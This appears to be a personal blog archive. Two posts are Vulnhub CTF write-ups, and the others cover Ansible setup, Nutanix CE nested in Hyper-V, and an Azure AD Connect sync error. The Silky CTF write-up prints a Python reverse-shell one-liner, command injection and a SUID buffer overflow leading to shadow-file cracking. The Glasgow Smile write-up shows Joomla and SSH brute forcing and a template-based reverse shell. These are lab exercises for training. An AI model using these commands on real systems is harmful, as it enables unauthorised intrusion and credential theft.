Sunday, 26 June 2022

Vulnhub Writeup: Silky CTF 0x02

Vulnhub Writeup - Silky CTF 0x02

This is the first box on the OSWE track from TJNull’s infamous list

You can download the box from Vulnhub

Initial Scans

nmap -sn

Running AutoRecon on the box

sudo $(which autorecon) -vv

Open Ports

22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))

Web site enumeration

There is a default Debian index page

Reviewing the feroxbuster log from AutoRecon on the machine reveals an admin.php page.

feroxbuster -u -t 10 -w /root/.config/AutoRecon/wordlists/dirbuster.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -q -e 


Clicking the login button shows a basic login panel

An invalid user / password combination reults in the following error in German

“Falscher Nutzernamen oder falsches Passwort”


Fuzzing the login form

While testing the login page, I tried a basic WFUZZ to see if there are any differences in response when trying different usernames.

wfuzz -u "" -w /usr/share/wordlists/fasttrack.txt

The results show that the username trust gives a different sized page response which is interesting.

Trying that name in a browser shows a strange error. Looks like it could be running trust as a command.

Let’s try another linux command - id

Nice, so it appears this is straight command injection! Trying which python results in the page showing the location of the python binary, so let’s try a python reverse shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1998));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);'

On the attacker machine, I have set up a netcat listener with nc -lvnp 1998. Clicking Login on the login form initiates the reverse shell and a quick enumeration of the home folder shows we have read access to the user flag.

I can also see a SUID binary named cat_shadow which seems to suggest it will allow a normal user to read the /etc/shadow file!

Running ./cat_shadow shows the executable is expecting a password

At this point, I upgrade the shell to a proper TTY which allows entering longer strings on the command line and responding to input request from programs

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color

I run strings cat_shadow > cat_strings.txt to see if there is anything really obvious in the binary that looks like it could be a password.

The password might be 0x496c5962

Reading each hex pair in 0x496c5962 looks like it could be ASCII characters which would translate to “IlYb”

Buffer overflow testing

Trying different passwords on the executable, cat_shadow gives some easy hints as to what’s happening. 0x00000000 != 0x496c5962 suggests the program is reading a memory location and comparing it’s contents to the magic value 0x496c5962. So I try longer and longer strings of ‘A’ characters to try to overflow the buffer and overwrite the memory location that it is checking. Once the value becomes 0x41414141 or ‘AAAA’ then I change the end characters to ‘BBBB’ to confirm the correct memory location is being overwritten.

Trying with ‘BBBB’ and ‘CCCC’ to confirm the correct location is being overwritten.


Trying with the magic ASCII value calculated earlier.


Since x86 is little endian, then the characters need to be reversed.


And we get the shadow file!

The shadow file contains the user password hashes, so I can either crack the password or try find a further bug in cat_shadow to change it’s behaviour.


Password Hash Cracking

I’ll try to crack the hashes. Reviewing the example_hashes for hashcat shows that these are type 1800, “sha512crypt $6$, SHA512 (Unix)”

Here is the hashcat command from my Windows machine, simply paste the lines from the shadow file into a file named silky.hashes:

.\hashcat -a 0 -m 1800 --username .\silky.hashes .\wordlists\rockyou.txt

And we get the password! Since the shell was upgraded to a tty earlier, it’s possible to use su and type the password.

Up to ten kilograms of cocoons are needed to obtain one kilogram of raw silk.


And that’s the box.

Written with StackEdit.

Sunday, 19 June 2022

Ansible as fast as possible

Super quick start guide for Ansible. This is a getting started guide only and should be sufficient to get you started writing playbooks for your lab environment. Before moving to production, security should be considered for the user account and roles should be reviewed for anything unexpected.

With that said:

sudo apt install ansible
cd ~
mkdir ansible
cd ansible

The inventory

The inventory is a list of machines which ansible will run on. Machines can be grouped and groups can be nested. The inventory file can be generated dynamically or statically as an ini or yams formatted file. Here is a basic ini formatted inventory file with a few hosts in the production and test groups.

I have assigned the ‘syslocation’ variable to the machines which can be used later. Click here for more information on inventory files, and here for more information on variables.


[production] syslocation="London, England" syslocation="London, England"

SSH Access to machines

Before you can start pushing configuration to your inventory, you’ll need a user account that can access the machines, generally with root level privileges. For the lab setup we will create an ansible user which has passwordless soda using an SSH key for access.

Create an ssh key on your control node, save the keys somewhere and update the bootstrap-ansible.yml below with the public key location



- name: Ansible user account bootstrapping
  hosts: all
  become: yes
    user_name: ansible

  - name: Make sure we have a 'wheel' group
      name: wheel
      state: present
  - name: Add the {{ user_name }} user
      name: "{{ user_name }}"
      shell: /bin/bash
      home: "/home/{{ user_name }}"
      groups: wheel
      append: yes
      createhome: yes
      state: present
  - name: Allow 'wheel' group to have passwordless sudo
      dest: /etc/sudoers
      state: present
      regexp: '^%wheel'
      line: '%wheel ALL=(ALL) NOPASSWD: ALL'
      validate: 'visudo -cf %s'
  - name: Set up authorized keys for the ansible user
      user: "{{ user_name }}"
      key: "{{ item }}"
      - /home/dave/ansible/ 
      # Public key location goes above

The above file combines several Ansible modules into a playbook. The modules will create the user, allow passwordless sudo and assign our control node’s public key for SSH access.

Once you’ve created the bootstrap playbook and inventory, run the bootstrap playbook with -i inventory.ini -k -K -u username using a known sudo account in order to push the ansible user to each machine. Rerun the command as many times as needed with different credentials. If you’re connecting directly as root, omit the -K flag.

ansible-playbook -i ./inventory.ini ./bootstrap-ansible.yml -k -K -u <remote_sudo_user>

You can limit the above command to a single host by appending -l, (note trailing comma)

The command will fail for all machines that don’t have the user/password you are using each time you run the command but once you’ve covered each machine at least once, you’ll have a new user that can be used.

Now that all your machines in the inventory have an ansible user with passwordless sudo capability, copy /etc/ansible/ansible.cfg to your working ansible directory and update the following values.

inventory = /home/<you>/ansible/inventory.ini
remote_user = ansible
private_key_file = /home/<you>/ansible/id_rsa

Run ansible --version to make sure you are using the new config file

Run the ping module command for all inventory to confirm connectivity (my screenshot is limited to a smaller group of machines called test_group)

ansible all -m ping

Now we can create a simple config yaml to install snmpd and copy a jinja2 file template to configure the snmpd service.

Create 2 files - configure_snmp.yml and snmpd.conf.j2


agentAddress udp:161
rocommunity superSecretCommunity
rocommunity superSecretCommunity
sysLocation    {{ syslocation }}
sysContact     Dave <>

Note the syslocation variable from earlier in the inventory file. Varibles can be assigned in many places such as the inventory, playbooks, for specific groups etc.


- name: Configure snmp
  hosts: test_group
  become: yes
    # Dynamic list based on OS type
        - snmpd
        - net-snmp
    packages: "{{ _packages[ansible_os_family] }}"

    # Standard list
        - snmpd
        - sshd


  # Package module to install list of packages apt / yum
  - name: Install Packages
      name: "{{ packages }}"
      state: present

  # Use the jinja2 template to create a new snmpd.conf
  - name: snmpd conf file
      src: "/home/dave/ansible/snmpd/snmpd.conf.j2"
      dest: "/etc/snmp/snmpd.conf"
      backup: yes
      owner: root
      group: root
      mode: 0600
      - restart snmpd

  # Loop over services list and make sure they are started and enabled
  - name: Ensure services are enabled
      name: "{{ item }}"
      state: started
      enabled: yes
    loop: "{{ services }}"


  # Handler called if the snmpd conf file is changed from template module above
  - name: restart snmpd
      name: snmpd
      state: restarted

Run a dry-run on the playbook to see what happens

ansible-playbook -C ./snmp/configure-snmp.yml

Because this is a dry run it will fail to start the snmpd service as it’s not yet installed. Run the playbook without a dry run to actually configure the services

ansible-playbook ./snmp/configure-snmp.yml

If we run it a second time, all should be in order and no changes will be required

ansible-playbook ./snmp/configure-snmp.yml

You can check out Ansible Galaxy for pre-written Ansible Roles to save time writing playbooks that the community has already written. For example there are roles on Ansible Galaxy for unattended-upgrades for Debian based machines, dnf-automatic for updates on red hat based machines and many other configurations.

For more information check out the Ansible Docs

If you’re interested and have the time, I recommend this Pluralsight course. You can get 1 month of free access to Pluralsight with Visual Studio Dev Essentials.

Written with StackEdit.

Friday, 29 October 2021

AHV nested inside Hyper-V

AHV in Hyper-V

AHV Running as a Hyper-V Guest VM

Want to test out Nutanix Community Edition but don’t have the hardware handy? If you have a decent Hyper-V host then it’s possible to install CE inside a guest VM in Hyper-V.

Unfortunately the ISO you can download direct from Nutanix fails when checking for network interfaces during the install. Attempting to install straight from the ISO with regular or legacy NICs results in the following error:

FATAL An exception was raised: Traceback (most recent call last):
  File "./phoenix", line 125, in <module>
  File "./phoenix", line 84, in main
    params = gui.get_params(gui.CEGui)
  File "/root/phoenix/", line 1805, in get_params
    sysUtil.detect_params(gp.p_list, throw_on_fatal=False, skip_esx_info=True)
  File "/root/phoenix/", line 974, in detect_params
    param_list.cluster_id = get_cluster_id()
  File "/root/phoenix/", line 974, in get_cluster_id
    cluster_id = int(randomizer + mac_addrs[0].replace(':',''), 16)
IndexError: list index out of range

CE NIC Error

It is however possible to modify the installer so it can detect Hyper-V guest network interfaces and successfully install and start a new single node cluster.

The requirements for the guest VM are not insignificant, so you’ll need the following.

VM Specification

  • Generation 1 VM (BIOS Boot)
  • 4+ vCPU Cores (I have tested with 8)
  • 22 GB+ RAM, Statically Assigned
  • 3 Dynamically Expanding VHDs attached to IDE interface
    • 32 GB AHV Boot Disk
    • 256 GB CVM & Data (Must be SSD backed)
    • 512 GB Data Disk
  • Nested Virtualisation enabled on the VM
  • At least one NIC, enable MAC address spoofing so that the CVM and guest VMs can get out to the network.

VM Settings Dialog

Start by downloading the ce-2020.09.16.iso from the Nutanix Community Edition forum (Requires Registration.)

Patch the iso using the script. I used a fresh, temporary Ubuntu 20.04 server VM to patch the iso. It’s possible this script would work in WSL but I haven’t tested that. The script just modifies a few lines in some of the setup python scripts. You may be able to do this manually but it requires unpacking and repacking the initrd file on the ISO in a very specific way.

This is an alpha grade script, so use at your own risk. I created an Ubuntu Server 20.04 temporary VM and copied the iso into the VM.

The script has some pre-requesites to install.

sudo apt install genisoimage

Then copy your downloaded ce-2020.09.16.iso file to the iso directory and run the script.

git clone
mkdir ./ahv-on-hyperv/iso
cp ~/Downloads/ce-2020.09.16.iso ./ahv-on-hyperv/iso/
cd ahv-on-hyperv/
chhmod +x

Pre Patching

Once finished it should look a bit like this.


If your Ubuntu machine has KVM/QEMU installed it will boot the ISO, this is expected to fail as there are no disks attached. You can safely stop the VM. Once patched copy the new ce-2020.09.16-hv-mkiso.iso from your Ubuntu machine to your Hyper-V host.

Create a new virtual machine with the above specification, then enable nested virtualisation with the following command

Set-VMProcessor -VMName <VMName> -ExposeVirtualizationExtensions $true

Attach the patched ISO ce-2020.09.16-hv-mkiso.iso and boot the VM.

Booting the VM


Follow the normal path to install

Installation 1

Installation 2

Install Complete

Installation Complete

Prism Running!

Remove the ISO from the VM and reboot when told; give it 15-20 minutes to start up. Enjoy your new dev AHV/AOS installation.

CVM is UP!

Prism is UP!

Written with StackEdit.

Tuesday, 27 July 2021

Azure AD Connect Sync fails with Event ID 6311

Azure AD Connect Sync fails to synchronise with Event ID 6311


ADSync Event ID 6311 in the Application event log

The server encountered an unexpected error while performing a callback operation.

"BAIL: MMS(4472): X:\bt\1011518\repo\src\dev\sync\shared\framework_mixedmodeutils\CompressionUtils.cpp(371): 0x80004005 (Unspecified error): Unicode surrogate characters must be written out as pairs together in the same call, not individually. Consider passing in a character array instead.BAIL: MMS(4472): ..\exechist.cpp(790): 0x80004005 (Unspecified error)
BAIL: MMS(4472): X:\bt\1011518\repo\src\dev\sync\server\mastate\mastate.cpp(8114): 0x80004005 (Unspecified error)
WARNING: MMS(4472): ..\ma.cpp(5182): Could not add execution history 0x80004005
BAIL: MMS(4472): ..\ma.cpp(5190): 0x80004005 (Unspecified error)
Azure AD Sync"

Synchronization Service Manager shows job failed with “completed-sync-errors” however there are no status or error messages in the lower pane. Any additional tasks such as export tasks will not run after this failed task.

No error information


Azure AD Connect Sync cannot synchronise when unicode characters are present and there is an issue with the object preventing sync such as a description field over 255 characters.

This appears to only be an issue when both conditions are true.


One off fix

Temporarily remove the unicode character, and also fix the import/export error from the failing object and resync.

To find the object which has an issue

  • Click the Connectors Tab
  • Right click the connector and click “Search Connector Space”
  • Change the scope to Import Errors
  • Click Search
  • Repeat for Export Errors scope
  • Repeat for each connector

Resolve the issues with the objects and temporarily remove unicode characters. Once the sync is successful the unicode characters can be re-added.

Search Connector Space

Real fix

Upgrade to a newer version of Azure AD Connect Sync. Version appears to have fixed this exact issue. Note, I have not tested a newer version yet but the Microsoft guidance suggests that this is resolved.

Fixed issues
Under certain circumstances, servers that were auto upgraded to version did not re-enable Self-service password reset and Password Writeback after the upgrade was completed. This auto upgrade release fixes that issue and re-enables Self-service password reset and Password Writeback.

We fixed a bug in the sync errors compression utility that was not handling surrogate characters correctly.

Azure AD Connect Sync version history

Written with StackEdit.

Sunday, 9 May 2021

Vulnhub Writeup: Glasgow Smile

Vulnhub - Glasgow Smile

Vulnhub Writeup - Glasgow Smile 1.1

glasgow smile login


Title: Glasgow Smile

Users: 5
Difficulty Level: Initial Shell (Easy) - Privileges Escalation (Intermediate)
Hint: Enumeration is the key.
If you are a newbie in Penetration Testing and afraid of OSCP preparation, do not worry. Glasgow Smile is supposed to be a kind of gym for OSCP machines.

The machine is designed to be as real-life as possible. Anyway, You will find also a bunch of ctf style challanges, it’s important to have some encryption knowledge.

You need to have enough information about Linux enumeration and encryption for privileges escalation.

Just download, extract and load the .vmx file in VMware Workstation (tested on VMware Workstation 15.x.x)

The adapter is currently NAT, networking is configured for DHCP and IP will get assigned automatically

You can contact me on Hack the box or by email ( for hints!

Initial Scans

nmap -sn

Server is up on IP

sudo autorecon

Open Ports

22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))

22/tcp open ssh - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

Normal banner

$ nc 22
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2

ssh user enumeration not working (all users in list valid)

check this out more later

80/tcp open http - Apache httpd 2.4.38 ((Debian))

Let’s start with a gobuster scan

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x bak,php,html,txt -u

/index.html (Status: 200)
/joomla (Status: 301)
/server-status (Status: 403)

home page

nothing in the page source for index.html, let’s check out Joomla!

Joomla Brute force

Usernames to try

  • admin
  • joomla
  • administrator
  • superuser

You can do this manually by clearing browser cookies, then hit the login page (/administrator/ by default). Gather the cookie. Try a login and grab the POST data. Then use the wfuzz command.

Get a wordlist from the website

cewl > cewl-joomla.txt

Grab a cookie & CSRF token

curl -i -s -k -X $'GET' -H $'Host:' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Ajax-Engine: Joomla!' -H $'Connection: close' -H $'Referer:' $'' --output - | grep -E "Set-Cookie|value"

grabbing a cookie and csrf

Run wfuzz - Check the output for the first non-hidden response as your csrf token will get burned once you login

wfuzz -w ./cewl-joomla.txt --hs="Username and password do not match or you do not have an account yet." -X POST -b "6821ee9ea803cd64e2920ca203163e81=fh651031upk1m2cagqe9mcqoma" -d "username=joomla&passwd=FUZZ&option=com_login&task=login&return=aW5kZXgucGhw&099afa929ff747b43ea8f8b58dd2fc0f=1" -u ''

adding -p '' --follow with burpsuite seems to make the response more reliable. Possibly because of a delay in requests.

password get

And we’re in at /administrator

Logged in

Reverse Shell

Login at /administrator, then click Extensions > Templates > Templates

templates menu

Click one of the templates

click one of the templates

Click index


Paste your code

paste your shell

Save it


Make sure your template is default, click Extensions > Template

extentions menu

Tick your template, click default

set default

Get code exec

get shell

And here is the working reverse shell

working reverse


First, I take a look for any interesting readable files in /home

find /home -ls 2>/dev/null
find /home -type f -ls 2>/dev/null

listable file names in /home

configuration.php has mysql username/password

joomla db password

I want to use the mysql command to check the content of the original database and see if there are any credentials to steal. In order to use this command we need a propper tty. This will mess up your console while typing, but keep going, it gets better!

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

^Z # Press CTRL+Z

stty size
stty raw -echo

stty rows XX cols XX

Now the shell should look more normal. mysql should work.

mysql -u joomla -p

proper tty

batjoke database has taskforce table, which looks to have some base64 encoded passwords.

batjoke database

Convert the b64 passwords

for line in $(cat pswd.b64); do echo $line | base64 -d ; echo "" ; done

auntis the fuck here

Add them to a password list and brute force ssh, usernames are pulled from /etc/passwd.

hydra ssh:// -L ./files/usernames.txt -P ./files/passwords.txt

hydra brute force

A single login is returned

[22][ssh] host:   login: rob   password: ???AllIHaveAreNegativeThoughts???

Now we get the user.txt and access to the Abnerineedyourhelp file

rob login

Which appears to be some cipher text and something that resembles base64

Abnerineedyourhelp file

This website does a pretty good job at decoding the text, but if you look at the alphabet it looks a little off.


It’s essentially just a ceaser cipher shifted by one. I use this website for playing with basic ciphers.

cryptii ceaser

And decoding the base64 gives abner’s password

base64 decode

ssh as abner

The abner user has access to the in /var/www/joomla2/administrator/manifests/

penguin zip

Which can be unzipped with his password


My dear penguins, we stand on a great threshold! It’s okay to be scared; many of you won’t be coming back. Thanks to Batman, the time has come to punish all of God’s children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!

I spent AGES trying to decode this to something with normal looking characters. Turns out it’s the ACTUAL PASSWORD! I tried all of the other encoded texts prior to this as the actual password and guess I’d given up with that strategy by now. Make sure to try strings that look encoded directly as passwords!

Hydra now gets the penguin user with this added to the password file.

hydra penguin

penguin to root

Using the penguin user we can now enter the SomeoneWhoHidesBehindAMask/ folder. Inside is a SUID find binary, but it’s owned by penguin so likely of no use.

There is also a .trash_old file which it is executable and owned by the root group which is a bit strange.

Running pspy64 shows that this is being executed as root on a schedule. Based on this I added a simple reverse shell to the script, set up a listener and we get a root shell.

trash.old file

Root shell


Written with StackEdit.

Vulnhub Writeup: Silky CTF 0x02

Vulnhub Writeup - Silky CTF 0x02 This is the first box on the OSWE track from TJNull’s infamous list You can download the box from Vulnhub...